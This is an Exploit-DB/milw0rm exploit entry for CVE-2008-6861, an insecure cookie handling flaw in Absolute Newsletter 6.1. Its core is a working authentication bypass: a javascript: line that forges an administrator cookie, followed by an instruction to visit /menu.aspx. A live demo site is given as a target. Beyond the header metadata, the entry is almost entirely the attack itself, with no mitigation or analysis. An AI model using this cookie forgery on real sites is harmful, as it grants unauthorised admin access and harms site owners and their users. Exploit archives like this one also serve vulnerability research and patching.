Absolute Newsletter 6.1 Insecure Cookie Handling Vulnerability

2008-10-31T00:00:00
ID EDB-ID:6904
Type exploitdb
Reporter x0r
Modified 2008-10-31T00:00:00

Description

Absolute Newsletter 6.1 Insecure Cookie Handling Vulnerability. CVE-2008-6861. Webapps exploit for php platform

                                        
                                            -=======================================-
Autore: x0r
Cms = Absolute Newsletter 6.1
Bug: Insecure Cookie Handling Vulnerability
-=======================================-


Exploit:
javascript:document.cookie="xlaANLDEMOadmin=lvl=1&userid=1&usr=admin&s=TYPE
A SERIES OF RANDOM NUMBERS AND CHARACTERS HERE; path=/"; and go to
/menu.aspx

Live Demo: http://www.xigla.com/absolutenl/demo

[-] King Lion Gay
[+] Margherita Ti Amo...I'm Sorry...

_EOF_

# milw0rm.com [2008-10-31]